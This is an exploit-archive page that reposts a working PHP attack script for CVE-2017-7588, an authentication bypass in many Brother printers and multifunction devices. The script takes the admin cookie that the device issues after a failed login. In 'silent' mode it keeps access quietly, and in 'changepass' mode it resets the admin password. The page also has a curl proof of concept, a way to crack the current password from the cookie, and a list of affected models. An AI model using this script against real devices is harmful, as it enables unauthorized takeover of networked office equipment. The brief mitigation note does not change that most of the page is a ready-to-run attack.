首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Brother MFC-J6520DW - Authentication Bypass / Password Change
来源:@patryk_bogdan 作者:Bogdan 发布时间:2017-04-12  
<?php
 
/* 
                                 
# Title: Brother Devices Web Auth Bypass / Change Password Exploit
# Vendor: Brother (http://www.brother.com/)
# Affected models: Most of Brother devices from MFC, DCP, HL & ADS Series - see vulnerable models below for more info
# Release date: 11.04.2017
# CVE: CVE-2017-7588
# Author: Patryk Bogdan (@patryk_bogdan)
 
--
 
Description:
Most of Brother devices web authorization can be bypassed through trivial bug in login proccess.
Even after failed login attempt, in http response headers appears valid authorization cookie.
 
PoC for MFC-J6520DW:
usr@lnx:~# curl -sD - --data "B734=xyz&loginurl=%2Fgeneral%2Fstatus.html" http://192.168.1.111/general/status.html -o /dev/null | grep Cookie
Set-Cookie: AuthCookie=c243a9ee18a9327bfd419f31e75e71c7; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/;
 
--
 
Modes:
silent: Gives authorized cookie without changing password, so you can login without getting noticed.
changepass: Change login password to the one you provided.
 
Note:
Authorization cookie is fixed and it is created as following:
Plaintext password --> ASCII hex --> md5
(e.g. AuthCookie=c243a9ee18a9327bfd419f31e75e71c7 for 'test' password)
 
This information can be used to crack current password from exported cookie.
 
Fix:
Minimize network access to Brother MFC device or disable HTTP(S) interface.
 
Confirmed vulnerable:
MFC-J6973CDW
MFC-J4420DW
MFC-8710DW
MFC-J4620DW
MFC-L8850CDW
MFC-J3720
MFC-J6520DW
MFC-L2740DW
MFC-J5910DW
MFC-J6920DW
MFC-L2700DW
MFC-9130CW
MFC-9330CDW
MFC-9340CDW
MFC-J5620DW
MFC-J6720DW
MFC-L8600CDW
MFC-L9550CDW
MFC-L2720DW
DCP-L2540DW
DCP-L2520DW
HL-3140CW
HL-3170CDW
HL-3180CDW
HL-L8350CDW
HL-L2380DW
ADS-2500W
ADS-1000W
ADS-1500W
 
For educational purposes only.
 
*/
 
 
/* ----------------------------- */
 
$address = "http://192.168.1.111";
 
//$mode    = "silent";
 
$mode    = "changepass";
$newpass = "letmein";
 
 
/* ----------------------------- */
 
$user_agent = 'Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0';
$address = preg_replace('{/$}', '', $address);
libxml_use_internal_errors(true);
 
function getPwdValue($address) {
    
    global $user_agent;
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");            
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($ch, CURLOPT_COOKIE, getCookie($address));
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    $content = curl_exec($ch);
    
    $dom = new DOMDocument();
    $dom->loadHTML($content);
    $inputs = $dom->getElementsByTagName('input');
    foreach($inputs as $i) {
        if($i->getAttribute('id') === $i->getAttribute('name') && $i->getAttribute('type') === 'password') {
        return $i->getAttribute('name');
        }
    }
    
}
 
function getLogValue($address) {
            
    global $user_agent;
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address);               
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    $content = curl_exec($ch);
    
    $dom = new DOMDocument();
    $dom->loadHTML($content);
    
    if(strstr($dom->getElementsByTagName('a')->item(0)->nodeValue, 'Please configure the password')) {
        print 'Seems like password is not set! Exiting.'; exit; }
            
    $value = $dom->getElementById('LogBox')->getAttribute('name');
    return $value;
    
}
 
function getCookie($host) {
    
    global $address, $user_agent;
    
    $log_var = getLogValue($address);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address."/general/status.html");
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,
        $log_var."=xyz&loginurl=%2Fgeneral%2Fstatus.html");                
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    $content = curl_exec($ch);
    
    if($content == true) {
    $cookies = array();
    preg_match_all('/Set-Cookie:(?<cookie>\s{0,}.*)$/im', $content, $cookies);
 
    if(!empty($cookies['cookie'])) {
        $exploded = explode(';', $cookies['cookie'][0]);
    } else { print 'Failed getting cookies for '.$address.' address - check your settings'; exit; }
    } else { print 'Got error requesting '.$address.' address - check your settings'; exit; }
    
    return trim($exploded[0]);
    
}
 
if($mode === "silent") {
 
    print 'Here\'s your authorization cookie: '.getCookie($address);
    
} elseif ($mode === "changepass") {
    
    global $address, $newpass;
    
    $cookie  = getCookie($address);
    $pwd_var = getPwdValue($address);
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $address."/admin/password.html");
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,
            "pageid=1&".$pwd_var."=".$newpass."&temp_retypePass=".$newpass);
    curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    $content = curl_exec($ch);
 
    if($content == true) {
        print 'Password changed to: '.$newpass;
    } else { print 'Got error requesting '.$address.' address - check your settings'; exit; }  
    
}
 
?>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Quest Privilege Manager 6.0.0
·Apple WebKit / Safari 10.0.3 (
·Adobe Multiple Products - XML
·Apple WebKit / Safari 10.0.3 (
·Proxifier for Mac 2.17 / 2.18
·Apple WebKit - 'JSC::B3::Proce
·Wordpress webplayer Plugins SQ
·Apple WebKit - 'Document::adop
·Moxa MX AOPC-Server 1.5 - XML
·Apple WebKit - 'JSC::SymbolTab
·Moxa MXview 2.8 - Denial of Se
·Proxifier 2.19 Privilege Escal
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved